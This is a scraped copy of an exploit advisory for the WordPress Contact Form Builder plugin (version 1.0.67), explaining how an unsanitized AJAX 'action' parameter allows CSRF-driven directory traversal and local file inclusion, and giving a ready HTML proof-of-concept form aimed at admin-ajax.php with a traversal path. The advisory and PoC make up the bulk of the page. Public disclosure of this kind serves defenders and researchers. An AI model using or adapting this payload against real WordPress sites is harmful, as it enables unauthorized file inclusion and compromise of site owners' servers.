扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
# Exploit Title: Contact Form Builder [CSRF → LFI] # Date: 2019-03-17 # Exploit Author: Panagiotis Vagenas # Vendor Homepage: http://web-dorado.com/ # Software Link: https://wordpress.org/plugins/contact-form-builder # Version: 1.0.67 # Tested on: WordPress 5.1.1 Description ----------- Plugin implements the following AJAX actions: - <code>ContactFormMakerPreview - <code>ContactFormmakerwdcaptcha - <code>nopriv_ContactFormmakerwdcaptcha - <code>CFMShortcode All of them call the function <code>contact_form_maker_ajax</code>. This function dynamicaly loads a file defined in <code>$_GET['action']</code> or $_POST['action']</code> if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the <code>$_GET['action']</code> and AJAX action in <code>$_POST['action']</code>. Leveraging that and the fact that no sanitization is performed on the $_GET['action']</code>, a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability. PoC --- </code><code>html <form method="post" action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index"> <label>AJAX action: <select name="action"> <option value="ContactFormMakerPreview">ContactFormMakerPreview</option> <option value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option> <option value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option> <option value="CFMShortcode">CFMShortcode</option> </select> </label> <button type="submit" value="Submit">Submit</button> </form> </code><code> |
体验盒子
